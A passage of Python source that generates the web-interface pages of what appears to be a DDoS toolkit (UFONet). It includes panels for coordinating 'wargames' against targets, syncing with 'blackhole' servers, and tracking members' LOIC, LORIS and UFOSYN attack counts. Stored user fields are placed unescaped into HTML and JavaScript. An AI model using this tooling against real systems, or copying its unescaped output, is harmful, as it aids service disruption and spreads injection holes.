  469. <td><a href="javascript:alert('Psihiz says: """ + self.ranking + """... Welcome to the Crypto-News!...');"><img src="/images/aliens/alien1.png"></a></td><td>
  470. <table cellpading="5" cellspacing="10"><tr><td>
  471. <form method='GET'>
  472. Your key: <input type="text" name="news_key" id="news_key" size="20" value='"""+str(self.crypto_key)+"""'>
  473. </td></tr><tr><td>
  474. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  475. </form>
  476. </td></tr></table></td></tr></table>
  477. <hr><br>
  478. </center>
  479. Last update: <font color='"""+ self.news_status_color + """'>"""+ self.news_datetime + """</font><br><br>
  480. <div id="cmdOut"></div>
  481. <div id="nb1" style="display: block;">"""+self.news_text+"""</div><br><br>
  482. """ + self.pages["/footer"]
  483. def html_missions(self):
  484. return self.pages["/header"] + """<script language="javascript">
  485. function Decrypt(){
  486. missions_key=document.getElementById("missions_key").value
  487. if(missions_key == "") {
  488. window.alert("You need to enter a valid key (provided by someone)");
  489. return
  490. }else{
  491. params="missions_key="+escape(missions_key)
  492. runCommandX("cmd_decrypt",params)
  493. document.getElementById("nb1").style.display = "none";
  494. }
  495. }
  496. </script>
  497. <script language="javascript">
  498. function RefreshMissions(){
  499. missions_source=document.getElementById("missions_source").value
  500. if(missions_source == "") {
  501. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  502. return
  503. }else{
  504. params="missions_source="+escape(missions_source)
  505. runCommandX("cmd_refresh_missions",params)
  506. document.getElementById("nb1").style.display = "none";
  507. setTimeout("location.reload()", 10000)
  508. }
  509. }
  510. </script>
  511. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  512. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  513. <br>
  514. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  515. <td>Blackhole/IP:</td>
  516. <td><input type="text" name="missions_source" id="missions_source" size="20" value='"""+default_blackhole+"""'></td>
  517. </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshMissions()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search missions...</button></td></tr></table>
  518. <hr>
  519. <table cellpadding="5" cellspacing="5"><tr>
  520. <td><a href="javascript:alert('Mnahät says: """ + self.ranking + """... Welcome to the Crypto-Missions!...');"><img src="/images/aliens/alien2.png"></a></td><td>
  521. <table cellpading="5" cellspacing="10"><tr><td>
  522. <form method='GET'>
  523. Your key: <input type="text" name="missions_key" id="missions_key" size="20" value='"""+str(self.crypto_key)+"""'>
  524. </td></tr><tr><td>
  525. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  526. </form>
  527. </td></tr></table></td></tr></table>
  528. <hr><br>
  529. </center>
  530. Last update: <font color='"""+ self.missions_status_color + """'>"""+ self.missions_datetime + """</font><br><br>
  531. <div id="cmdOut"></div>
  532. <div id="nb1" style="display: block;">"""+self.missions_text+"""</div><br><br>
  533. """ + self.pages["/footer"]
  534. def html_board(self):
  535. self.board_welcome = "<div id='board_warning' style='display: none;'><pre><u>WARNING:</u> <br><br> 1) This is our 'Space Cantina': DON'T BE A LAMER!!! <br> 2) NO language RESTRICTIONS <br> 3) ABUSING == #HACKBACK (THIS IS NOT KIND OF FAME YOU WANT)<br> 4) CONTENT can be MODIFIED/REMOVED without notice<br> 5) LOVE, DONATIONS and REPORTS -> <a href='http://127.0.0.1:9999/help' target='_blank'>HERE</a></pre></div>" # board hardcoded warning (hehe)
  536. self.board_topic = "<select id='board_selector'><option value='general'>GENERAL</option><option value='opsec'> - OPSEC: #UFOSTORM</option><option value='faq'>UFONET/FAQ</option><option value='bugs'>UFONET/BUGS</option><option value='media'>UFONET/MEDIA</option></select>"
  537. self.board_send_msg = "<button title='Send your message to the Board (REMEMBER: you will cannot remove it!)...' onclick='SendMessage()'>SEND IT!</button>"
  538. if '"profile_token": "NONE"' in open(self.mothership_boardcfg_file).read():
  539. device_state = "OFF"
  540. device = "Board device: <font color='red'>OFF</font><br>"
  541. else:
  542. device_state = "ON"
  543. self.moderator_text = ''.join(random.sample(self.moderator_text,len(self.moderator_text)))
  544. boardcfg_json_file = open(self.mothership_boardcfg_file, "r") # extract mothership boardcfg
  545. data = json.load(boardcfg_json_file)
  546. boardcfg_json_file.close()
  547. profile_token = data["profile_token"]
  548. profile_icon = data["profile_icon"]
  549. profile_nick = data["profile_nick"]
  550. self.profile_nick.encode('utf-8')
  551. device = "<u>OPERATOR/LINK:</u> <font color='green'>ON</font><br><table cellpadding='5'><tr><td><img src='images/crew/"+str(profile_icon)+".png'></td></tr><tr><td> -NICKNAME: "+self.profile_nick.encode('utf-8')+"</td></tr><tr><td> -ID: "+str(profile_token)+"</td></tr></table>"
  552. if device_state == "OFF":
  553. board_filter = ""
  554. else:
  555. board_filter = "<table cellpadding='5' border='1'><tr><td><input type='radio' name='filter' id='filter_all' value='ALL' CHECKED>/ALL<br> </td><td><input type='radio' name='filter' id='filter_general' value='GENERAL'>/GENERAL</td><td><input type='radio' name='filter' id='filter_opsec' value='OPSEC'>/#OPSEC<br> </td><td><input type='radio' name='filter' id='filter_faq' value='FAQ'>/FAQ</td><td><input type='radio' name='filter' id='filter_bugs' value='BUGS'>/BUGS</td><td><input type='radio' name='filter' id='filter_media' value='MEDIA'>/MEDIA</td></tr></table>"
  556. if device_state == "OFF":
  557. sync_panel = ""
  558. else:
  559. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source' id='board_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncBoard()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><br><hr>"
  560. if device_state == "OFF":
  561. board_panel = ""
  562. else:
  563. with open(self.board_file) as f:
  564. for line in f:
  565. line = line.strip()
  566. self.board_warning += "\n" + " " + line + " " + "\n"
  567. f.close()
  568. self.moderator_text = re.sub("(.{100})", "\\1\n", self.moderator_text, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  569. l = time.ctime(os.path.getmtime(self.board_file)) # get last modified time
  570. board_panel = "<form method='GET'><table cellpadding='5'><tr><td><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td> <input type='radio' name='board_action' id='read' onclick='javascript:OptionsCheck();' CHECKED> READ<br> </td><td> <input type='radio' name='board_action' id='write' onclick='javascript:OptionsCheck();'> WRITE<br></td></tr></table></td><td> KEY: <input type='text' name='board_key' id='board_key' size='20' value='"+str(self.crypto_key)+"'> </td></tr></table></td><td><div style='display:block' id='board_read'><table cellpadding='5'><tr><td>"+board_filter+"</td></tr><tr><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_board();>Try decryption!</a></td></tr></table></div></td></tr><tr><td>"+self.board_welcome+"</td><td><div style='display:none' id='board_send'><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source_send' id='board_source_send' size='20' value='"+default_blackhole+"'></td></tr><tr><td>TOPIC:</td><td>"+self.board_topic+"</td></tr><tr><td>MESSAGE:</td><td><textarea rows='3' cols='50' name='stream_txt' id='stream_txt' maxlength='140' placeholder='Enter your message (1-140 chars)...'></textarea></td></tr><tr><td>"+self.board_send_msg+"</td></tr></table></td></tr></table></div></td></tr></table></form><br><hr><br><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"+sync_panel+"<br></div><u>CRYPTO-BOARD</u>: (Last Update: <font color='green'>"+str(l)+"</font>)<br><br><div id='cmdOut'></div><div id='nb1' style='display: block;'>"+self.moderator_text+"</div><br><br>"
  571. if device_state == "OFF":
  572. remove_profile = ""
  573. else:
  574. remove_profile = '| <button title="Syncronize data from a blackhole/board with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveProfile()">TURN OFF!</button>'
  575. return self.pages["/header"] + """<script language="javascript">
  576. function BoardProfile() {
  577. var win_board_profile = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  578. }
  579. function RemoveProfile() {
  580. var win_board_profile = window.open("board_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  581. }
  582. function Decrypt_board(){
  583. board_key=document.getElementById("board_key").value
  584. if (document.getElementById('filter_all').checked) {
  585. filter = document.getElementById('filter_all').value;
  586. }
  587. if (document.getElementById('filter_general').checked) {
  588. filter = document.getElementById('filter_general').value;
  589. }
  590. if (document.getElementById('filter_opsec').checked) {
  591. filter = document.getElementById('filter_opsec').value;
  592. }
  593. if (document.getElementById('filter_faq').checked) {
  594. filter = document.getElementById('filter_faq').value;
  595. }
  596. if (document.getElementById('filter_bugs').checked) {
  597. filter = document.getElementById('filter_bugs').value;
  598. }
  599. if (document.getElementById('filter_media').checked) {
  600. filter = document.getElementById('filter_media').value;
  601. }
  602. if(board_key == "") {
  603. window.alert("You need to enter a valid key (provided by someone)");
  604. return
  605. }else{
  606. params="board_key="+escape(board_key)+"&filter="+escape(filter)
  607. runCommandX("cmd_decrypt_moderator_board",params)
  608. document.getElementById("nb1").style.display = "none";
  609. }
  610. }
  611. function OptionsCheck() {
  612. if (document.getElementById('read').checked) {
  613. document.getElementById('board_read').style.display = 'block';
  614. document.getElementById('board_send').style.display = 'none';
  615. document.getElementById('board_warning').style.display = 'none';
  616. }
  617. else if(document.getElementById('write').checked) {
  618. document.getElementById('board_send').style.display = 'block';
  619. document.getElementById('board_warning').style.display = 'block';
  620. document.getElementById('board_read').style.display = 'none';
  621. }
  622. }
  623. function Sync_panel(){
  624. document.getElementById("sync_panel_block").style.display = "block";
  625. }
  626. function SyncBoard(){
  627. document.getElementById('nb1').style.display = 'none';
  628. board_source=document.getElementById("board_source").value
  629. if(board_source == "") {
  630. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  631. return
  632. }else{
  633. params="board_source="+escape(board_source)
  634. runCommandX("cmd_sync_board",params)
  635. setTimeout("location.reload()", 10000)
  636. }
  637. }
  638. </script>
  639. <script language="javascript">
  640. function SendMessage() {
  641. board_source=document.getElementById("board_source_send").value
  642. board_key=document.getElementById("board_key").value
  643. stream_txt=document.getElementById("stream_txt").value
  644. board_selector=document.getElementById("board_selector");
  645. board_topic = board_selector.options[board_selector.selectedIndex].value;
  646. if(board_key == "") {
  647. board_key='"""+str(self.crypto_key)+"""';
  648. }else{
  649. if(stream_txt == "") {
  650. window.alert("You need to enter a message! (~ 1-140 characters)");
  651. return
  652. }else{
  653. if(board_source == "") {
  654. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  655. return
  656. }else{
  657. params="board_source="+escape(board_source)+"&board_key="+escape(board_key)+"&board_topic="+escape(board_topic)+"&stream_txt="+escape(stream_txt)
  658. runCommandX("cmd_send_message_board",params)
  659. setTimeout("location.reload()", 10000)
  660. }
  661. }
  662. }
  663. }
  664. </script>
  665. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  666. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  667. <br>
  668. <center>
  669. <table cellpadding="5" cellspacing="5"><tr>
  670. <td><a href="javascript:alert('Riättth says: """ + self.ranking + """... Welcome to the Board. You can generate new identities every time that you want. But remember that, this can be a dangerous place. Just respect to others to be respected... Keep safe and enjoy it. COPYCAT!.');"><img src="/images/board.png"></a></td><td>
  671. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="BoardProfile()">CONFIGURE!</button> """+remove_profile+"""
  672. </td></tr></table></tr></table>
  673. <hr><br>"""+board_panel+"""
  674. """ + self.pages["/footer"]
  675. def generate_grid(self):
  676. with open(self.grid_file) as f:
  677. for line in f:
  678. line = line.strip()
  679. f.close()
  680. mothership_members = 0 # mothership_members stats bonus
  681. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NICKNAME:</u></td><td align='center'><u>RANKING:</u></td><td align='center'><u>CHARGO:</u></td><td align='center'><u>DORKING:</u></td><td align='center'><u>TRANSF:</u></td><td align='center'><u>MAX.CHARGO:</u></td><td align='center'><u>MISSIONS:</u></td><td align='center'><u>ATTACKS:</u></td><td align='center'><u>LOIC:</u></td><td align='center'><u>LORIS:</u></td><td align='center'><u>UFOSYN:</u></td><td align='center'><u>CONTACT:</u></td></tr>"
  682. for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, contact, ID
  683. if grid_msg_sep in m:
  684. version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1)
  685. m = m.split(grid_msg_sep)
  686. grid_nickname = m[0][0:12]
  687. grid_nickname = ''.join(random.sample(grid_nickname,len(grid_nickname))) # nickname (obfuscation+str12)
  688. mothership_members = mothership_members + 1
  689. grid_ranking = m[1][0:4] # ranking (is parsed later using a symbol)
  690. grid_ranking = ''.join(random.sample(grid_ranking,len(grid_ranking))) # ranking (obfuscation)
  691. grid_totalchargo = m[2][0:4] # total chargo
  692. grid_totalchargo = ''.join(random.sample(grid_totalchargo,len(grid_totalchargo))) # totalchargo (obfuscation)
  693. grid_dorking = m[3][0:4] # dorking
  694. grid_dorking = ''.join(random.sample(grid_dorking,len(grid_dorking))) # dorking (obfuscation)
  695. grid_transferred = m[4][0:4] # transferred
  696. grid_transferred = ''.join(random.sample(grid_transferred,len(grid_transferred))) # transferred (obfuscation)
  697. grid_maxchargo = m[5][0:4] # maxchargo
  698. grid_maxchargo = ''.join(random.sample(grid_maxchargo,len(grid_maxchargo))) # maxchargo (obfuscation)
  699. grid_missions = m[6][0:4] # missions
  700. grid_missions = ''.join(random.sample(grid_missions,len(grid_missions))) # missions (obfuscation)
  701. grid_attacks = m[7][0:4] # attacks
  702. grid_attacks = ''.join(random.sample(grid_attacks,len(grid_attacks))) # attacks (obfuscation)
  703. grid_loic = m[8][0:4] # loic
  704. grid_loic = ''.join(random.sample(grid_loic,len(grid_loic))) # loic (obfuscation)
  705. if version == 12: # v1.1
  706. grid_loris = m[9][0:4] # loris
  707. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  708. grid_ufosyn = m[10][0:4] # ufosyn
  709. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  710. grid_contact = "<a href=javascript:alert('"+str(m[11][0:12])+"');>View</a>" # js contact view (obfuscation)
  711. try:
  712. grid_id = m[12] # id (plain id)
  713. except:
  714. grid_id = "invalid!"
  715. elif version == 11: # v1.0
  716. grid_loris = m[9][0:4] # loris
  717. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  718. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  719. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  720. grid_contact = "<a href=javascript:alert('"+str(m[10][0:12])+"');>View</a>" # js contact view (obfuscation)
  721. try:
  722. grid_id = m[11] # id (plain id)
  723. except:
  724. grid_id = "invalid!"
  725. elif version == 10: # v0.9
  726. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not loris present
  727. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  728. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  729. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  730. grid_contact = "<a href=javascript:alert('"+str(m[9][0:12])+"');>View</a>" # js contact view (obfuscation)
  731. try:
  732. grid_id = m[10] # id (plain id)
  733. except:
  734. grid_id = "invalid!"
  735. else: # no valid version
  736. pass
  737. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  738. else: # not valid stream data
  739. pass
  740. grid_table += "</table>"
  741. if mothership_members == 0:
  742. mothership_members = "¿?"
  743. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  744. mother_grid = "<div id='grid_panel_enc' style='display:block'><br><center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>MEMBERS:</td><td align='right'>"+str(mothership_members)+"</td><td><font color='blue' size='4'>****</font></td><td><font color='blue'>¿?</font></td><td><font color='blueviolet' size='4'>***</font></td><td><font color='blueviolet'>¿?</font></td><td><font color='cyan' size='4'>**</font></td><td><font color='cyan'>¿?</font></td><td><font color='white' size='4'>*</font></td><td><font color='white'>¿?</font></td></tr><tr><td>MISSIONS:</td><td>¿?</td><td>ATTACKS:</td><td>¿?</td><td>LOIC:</td><td>¿?</td><td>LORIS:</td><td>¿?</td><td>UFOSYN:</td><td>¿?</td></tr><tr><td>CHARGO (ACTIVE!):</td><td>¿?</td><td>DORKING:</td><td>¿?</td><td>MAX.CHARGO:</td><td>¿?</td></tr></table><br><hr><br>"
  745. grid_table = mother_grid + grid_table + "</div>"
  746. return grid_table
  747. def html_grid(self):
  748. if '"grid_token": "NONE"' in open(self.mothership_gridcfg_file).read():
  749. device_state = "OFF"
  750. device = "Grid device: <font color='red'>OFF</font><br>"
  751. else:
  752. device_state = "ON"
  753. gridcfg_json_file = open(self.mothership_gridcfg_file, "r") # extract mothership gridcfg
  754. data = json.load(gridcfg_json_file)
  755. gridcfg_json_file.close()
  756. grid_token = data["grid_token"]
  757. grid_contact = data["grid_contact"]
  758. grid_contact.encode('utf-8')
  759. grid_nick = data["grid_nick"]
  760. grid_nick.encode('utf-8')
  761. if self.ranking == "Rookie": # Rookie
  762. your_ranking = "<font color='white' size='4'>*</font> (Rookie)"
  763. elif self.ranking == "Mercenary": # Mercenary
  764. your_ranking = "<font color='cyan' size='4'>**</font> (Mercenary)"
  765. elif self.ranking == "Bandit": # Bandit
  766. your_ranking = "<font color='blueviolet' size='4'>***</font> (Bandit)"
  767. elif self.ranking == "UFOmmander!": # UFOmmander!
  768. your_ranking = "<font color='blue' size='4'>****</font> (UFOmmander!)"
  769. else:
  770. your_ranking = "<font color='yellow' size='4'>*</font> (no0b!)" # no0b hacking attempt! ;-)
  771. device = "<table cellpadding='5'><tr><td> -CONTACT: "+grid_contact.encode('utf-8')+"</td></tr><tr><td> -NICKNAME: "+grid_nick.encode('utf-8')+"</td></tr><tr><td> -RANKING: "+str(your_ranking)+"</td></tr><tr><td> -ID: "+str(grid_token)+"</td></tr></table>"
  772. if device_state == "OFF":
  773. grid_panel = ""
  774. else:
  775. grid_table = self.generate_grid()
  776. grid_panel = grid_table + "<br><div id='cmdOut'></div><br></center><center>"
  777. if device_state == "OFF":
  778. dec_panel = ""
  779. else:
  780. dec_panel = "<table cellpading='5' cellspacing='10'><tr><td><form method='GET'>Your key: <input type='text' name='grid_key' id='grid_key' size='20' value='"+ str(self.crypto_key) +"'></td><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_grid();>Try decryption!</a></form></td></tr></table>"
  781. if device_state == "OFF":
  782. sync_panel = ""
  783. else:
  784. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source' id='grid_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><hr>"
  785. if device_state == "OFF":
  786. transfer_panel = ""
  787. else:
  788. transfer_panel = "<form method='GET'><table cellpadding='5' cellspacing='5'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source_upload' id='grid_source_upload' size='20' value='"+default_blackhole+"'></td></tr><tr><td>Key (encryption):</td><td><input type='text' name='grid_key_upload' id='grid_key_upload' size='20' value='"+ str(self.crypto_key) +"'></td></tr></table></td><td><button title='Upload stats of your mothership to the Grid of that blackhole...' onclick='TransferGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Transfer data...</button></td></tr></table></form><hr>"
  789. if device_state == "OFF":
  790. remove_grid = ""
  791. else:
  792. remove_grid = '| <button title="Review your mothership stats..." onclick="Stats()">STATS!</button> | <button title="Syncronize data from a blackhole/grid with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Decrypt data with a specific key..." onclick="Decryption_panel()">DECRYPT!</button> | <button title="Send your data to a global blackhole/grid..." onclick="Transfer_panel()">UPLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveGrid()">TURN OFF!</button>'
  793. return self.pages["/header"] + """<script language="javascript">
  794. function GridProfile() {
  795. var win_grid_profile = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  796. }
  797. function RemoveGrid() {
  798. var win_grid_profile = window.open("grid_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  799. }
  800. function Stats() {
  801. var win_grid_profile = window.open("stats","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  802. }
  803. function Sync_panel(){
  804. document.getElementById("sync_panel_block").style.display = "block";
  805. document.getElementById("dec_panel").style.display = "none";
  806. document.getElementById("transfer_panel").style.display = "none";
  807. }
  808. function SyncGrid(){
  809. grid_source=document.getElementById("grid_source").value
  810. if(grid_source == "") {
  811. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  812. return
  813. }else{
  814. params="grid_source="+escape(grid_source)
  815. runCommandX("cmd_sync_grid",params)
  816. setTimeout("location.reload()", 10000)
  817. }
  818. }
  819. function Transfer_panel(){
  820. document.getElementById("transfer_panel").style.display = "block";
  821. document.getElementById("sync_panel_block").style.display = "none";
  822. document.getElementById("dec_panel").style.display = "none";
  823. }
  824. function TransferGrid() {
  825. grid_source=document.getElementById("grid_source_upload").value
  826. grid_key=document.getElementById("grid_key_upload").value
  827. if(grid_source == "") {
  828. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  829. return
  830. }else{
  831. if(grid_key == "") {
  832. window.alert("You need to enter a valid key (provided by someone)");
  833. return
  834. }else{
  835. params="grid_source="+escape(grid_source)+"&grid_key="+escape(grid_key)
  836. runCommandX("cmd_transfer_grid",params)
  837. setTimeout("location.reload()", 10000)
  838. }
  839. }
  840. }
  841. function Decryption_panel(){
  842. document.getElementById("dec_panel").style.display = "block";
  843. document.getElementById("transfer_panel").style.display = "none";
  844. document.getElementById("sync_panel_block").style.display = "none";
  845. }
  846. function Decrypt_grid(){
  847. grid_key=document.getElementById("grid_key").value
  848. if(grid_key == "") {
  849. window.alert("You need to enter a valid key (provided by someone)");
  850. return
  851. }else{
  852. params="grid_key="+escape(grid_key)
  853. runCommandX("cmd_decrypt_grid",params)
  854. panel_enc = document.getElementById("grid_panel_enc").style.display
  855. if(panel_enc == "block"){
  856. panel_enc = document.getElementById("grid_panel_enc").style.display = 'none';
  857. }
  858. }
  859. }
  860. function GridFilter(filter, key){
  861. params="filter="+escape(filter)+"&key="+escape(key)
  862. runCommandX("cmd_grid_filter", params)
  863. setTimeout("Decrypt_grid()", 2000)
  864. }
  865. </script>
  866. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  867. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  868. <br><center>
  869. <table cellpadding="5" cellspacing="5"><tr>
  870. <td><a href="javascript:alert('7337-VH13 says: """ + self.ranking + """... Welcome to the Grid. A good place to represent our Federation.');"><img src="/images/aliens/alien6.png"></a></td><td>
  871. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="GridProfile()">CONFIGURE!</button> """+remove_grid+"""</td></tr></table></tr></table>
  872. <hr><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"""+sync_panel+"""</div><div id='transfer_panel' name='transfer_panel' style='display:none;'>"""+transfer_panel+"""</div><div id="dec_panel" style="display:none;">"""+dec_panel+"""<hr></div>"""+grid_panel+"""
  873. """ + self.pages["/footer"]
  874. def generate_wargames(self):
  875. with open(self.wargames_file) as f:
  876. for line in f:
  877. line = line.strip()
  878. f.close()
  879. wargames_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TARGET:</u></td><td align='center'><u>DATE:</u></td><td align='center'><u>ETA:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  880. for m in self.list_wargames: # list = creation, target, estimated
  881. if wargames_msg_sep in m:
  882. m = m.split(wargames_msg_sep)
  883. wargame_creation = m[0][0:12] # creation date
  884. wargame_creation = ''.join(random.sample(wargame_creation,len(wargame_creation))) # creation date (obfuscation)
  885. wargame_target = m[1][0:12] # target (obfuscation)
  886. wargame_target = ''.join(random.sample(wargame_target,len(wargame_target))) # target (obfuscation)
  887. wargame_estimated = m[2][0:12] # estimated date
  888. wargame_estimated = ''.join(random.sample(wargame_estimated,len(wargame_estimated))) # estimated date (obfuscation)
  889. wargame_state = str("HSvtfBFwQBSms8h/7Ra/tKGNYp7KqiiNeOMPzDmrChJqyBJ+yuRiHpY9H+/LDQ==")[0:12] # state ("ENCRYPTED!")
  890. wargame_state = ''.join(random.sample(wargame_state,len(wargame_state))) # state (obfuscation)
  891. wargame_status = wargame_state # status (obfuscated like state)
  892. wargames_table += "<tr><td align='center'>"+str(wargame_creation)+"</td><td align='center'>"+str(wargame_target)+"</td><td align='center'>"+str(wargame_estimated)+"</td><td align='center'>"+str(wargame_state)+"</td><td align='center'>"+str(wargame_status)+"</td></tr>"
  893. wargames_table += "</table>"
  894. mother_wargame = "<div id='wargames_panel_enc' style='display:block'>"
  895. wargames_table = mother_wargame + wargames_table + "</div>"
  896. return wargames_table
  897. def html_wargames(self):
  898. l = time.ctime(os.path.getmtime(self.wargames_file)) # get last modified time
  899. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  900. wargames_table = self.generate_wargames()
  901. return self.pages["/header"] + """<script language="javascript">
  902. function Decrypt_wargames(){
  903. wargames_deckey=document.getElementById("wargames_deckey").value
  904. if(wargames_deckey == "") {
  905. window.alert("You need to enter a valid key (provided by someone)");
  906. return
  907. }else{
  908. params="wargames_deckey="+escape(wargames_deckey)
  909. runCommandX("cmd_decrypt_wargames",params)
  910. panel_enc = document.getElementById("wargames_panel_enc").style.display
  911. if(panel_enc == "block"){
  912. panel_enc = document.getElementById("wargames_panel_enc").style.display = 'none';
  913. }
  914. }
  915. }
  916. function SyncWargames(){
  917. wargames_source=document.getElementById("wargames_source").value
  918. if(wargames_source == "") {
  919. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  920. return
  921. }else{
  922. params="wargames_source="+escape(wargames_source)
  923. runCommandX("cmd_sync_wargames",params)
  924. setTimeout("location.reload()", 10000)
  925. }
  926. }
  927. function Send() {
  928. wargames_source2=document.getElementById("wargames_source2").value
  929. wargames_enckey=document.getElementById("wargames_enckey").value
  930. wargames_target=document.getElementById("wargames_target").value
  931. wargames_estimated=document.getElementById("wargames_estimated").value
  932. if(wargames_source2 == "") {
  933. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  934. return
  935. }else{
  936. if(wargames_enckey == "") {
  937. window.alert("You need to enter a valid key (provided by someone)");
  938. return
  939. }else{
  940. params="wargames_source2="+escape(wargames_source2)+"&wargames_enckey="+escape(wargames_enckey)+"&wargames_target="+escape(wargames_target)+"&wargames_estimated="+escape(wargames_estimated)
  941. runCommandX("cmd_transfer_wargame",params)
  942. setTimeout("location.reload()", 10000)
  943. }
  944. }
  945. }
  946. function JobRemove(id) {
  947. params="id="+escape(id)
  948. runCommandX("cmd_job_remove",params)
  949. setTimeout("Decrypt_wargames()", 2000)
  950. }
  951. function JobAdd(id) {
  952. params="id="+escape(id)
  953. runCommandX("cmd_job_add", params)
  954. setTimeout("Decrypt_wargames()", 2000)
  955. }
  956. function JobAddAll() {
  957. runCommandX("cmd_job_add_all")
  958. setTimeout("Decrypt_wargames()", 2000)
  959. }
  960. function JobCancel(id) {
